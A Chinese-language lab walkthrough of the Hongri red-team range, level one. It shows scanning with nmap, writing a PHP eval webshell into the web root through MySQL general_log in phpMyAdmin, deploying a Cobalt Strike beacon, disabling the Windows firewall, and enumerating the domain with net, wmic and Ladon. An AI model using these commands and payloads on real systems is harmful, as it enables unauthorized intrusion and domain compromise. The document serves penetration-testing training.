此实战靶场共3台主机,先把拓扑图理清楚。
win7:处于DMZ区域的web服务器,双网卡(桥接:192.168.0.101,nat:192.168.52.143)
win2K3:内网域成员主机(nat:192.168.52.141)
win2008r2:域控主机(nat:192.168.52.138)
目的就是攻击者通过拿下和外网相通的win7的shell,进而攻击win7所处域,获得域控桌面的flag,也就是敏感文件。
介绍一下:此靶场红日安全团队红队评估实战靶场第一关,难度不大,多种姿势均可获得域控权限,是练习域渗透各种姿势很不错的靶场,搭建方式也非常简单,配置一下win7为双网卡,桥接为模拟外网ip,nat模拟内网域环境。配置完双网卡即可,dhcp方式获取桥接ip。勿管nat网卡的ip,内网域环境已经搭建好了。ip配置完毕后,三台虚机密码均为hongrisec@2019。登录win7启动一下phpstudy,测试一下三台虚机连通性后即可开始本次渗透。
DMZ区也就是处于两个防火墙之间的,一个合格的DMZ区是为了提供外部主机访问内网资源服务器的一个缓冲区域,应该有着严格的内外网隔离,本次靶场只是一个模拟,dmz区并没有很合规。
那么入手以后,先进行信息收集,桥接嘛,那么直接扫一下桥接网段的存活主机,方法多多,笔者比较喜欢用nmap -sP。
也可以netdiscover -i en0 -r 192.168.0.1/24
获取了目标ip以后,就是扫端口:
nmap -sV -vv -p1-65535 192.168.0.101
访问80得到一个phpstudy探针。
最下面有个测试mysql连通的。
输入root/root回显成功,hh 靶场嘛,很多生产环境中弱口令也是很多的。那么初步getshell思路就是通过mysql拿shell。
dirsearch扫一下目录发现存在phpmyadmin和beifen.rar
直接登录phpmyadmin页面
phpmyadmin页面getshell方式有两种:
1:into_outfile写shell
条件:需要secure_file_priv为允许
并不支持,那就尝试另一个方式,写日志getshell。
日志备份获取shell
show global variables like "%genera%"; //查询general_log配置
set global general_log='on'; 开启general log模式
SET global general_log_file='C:/phpStudy/WWW/shell.php'; //设置日志文件保存路径
SELECT '<?php @eval($_POST['w']);?>'; //phpinfo()写入日志文件
set global general_log='off'; //关闭general_log模式
shell写入成功,蚁剑连接即可。
成功getshell。
那么拿shell还有另一种方法就是通过扫出来的备份文件beifen.rar,然后得yxcms的后台账号密码,登录后台getshell。yxcms拿shell方法公网上很多,这里不多赘述。主要看如何进行内网漫游。
拿到shell以后,有多种选择,shell上进行信息收集,弹到msf上,弹到cs上,弹到empire上,这里选择弹到cs上。
起一个cs服务器然后客户端连接,这里笔者用的是4.0版本。
cs起一个监听,生成一个windows exe木马文件,通过蚁剑传入目标机,再执行下面这句关闭防火墙,不然目标会弹防火墙警告框。
netsh advfirewall set allprofiles state of
shell执行一下exe即可。
执行后成功上线,调整一下心跳,这里为纯内网练习,心跳为0即可。
beacon执行:sleep 0
接下来就是信息收集过程。
还发现另一个网段ip:192.168.52.143;
且当前主机是存在域内的,初步判断域名为http://god.org;
执行:whoami,hostname
查询系统体系架构:echo %PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:wmic product get name,version
查看当前运行进程:wmic process list brief
当前并无杀软。
关于域相关信息收集
判断当前主机是否在域内。
上篇文章已经提供了相关信息收集姿势,
这里用:net time /domain
说明当前主机确实存在域内,接下来就是确定域控ip。
查看当前域的所有用户:net user /domain
获取域内用户的详细信息:wmic useraccount get /all
这里会回显出用户的SID,对于后续的凭据利用提前做信息收集。
查看域管理员:net group "domain controllers" /domain
再进行ping域控主机即可获得域控IP:192.168.52.138
查看所有域成员计算机列表:net group "domain computers" /domain
查看本地管理组:net localgroup administrators /domain
查看本地所有用户:net user
CS也有个探测内网环境功能,这里进行如下选择:
查看目标得知以下内容,获知当前内网主机列表,这里通过初步探测,141和143为域内主机,138为域内域控。
也可以通过Ladon这个域信息收集神器来进行存活主机探测。
CS4.0脚本管理器导入Ladon.cna即可,下载地址如下:
https://github.com/rsmudge/ElevateKit
用法:Ladon 192.168.52.0/24 OsScan
Ladon是一个非常了不起的内网信息收集工具。
使用方法详情见官方文档:http://k8gege.org/p/648af4b3.html
会显示出非常详细的信息,例如版本以及是否为虚拟机。后续可以使用BloodHound进行测绘攻击路线。
到这里为止,我们已经确定了此靶场的域控ip以及域内基本拓扑图,接下来就是设置代理进行横向移动打域控,对于此靶场来说,获取域控权限方式很多,下一期拿这个靶场进行域内漫游的方法小合集,拿到域控主机桌面的flag。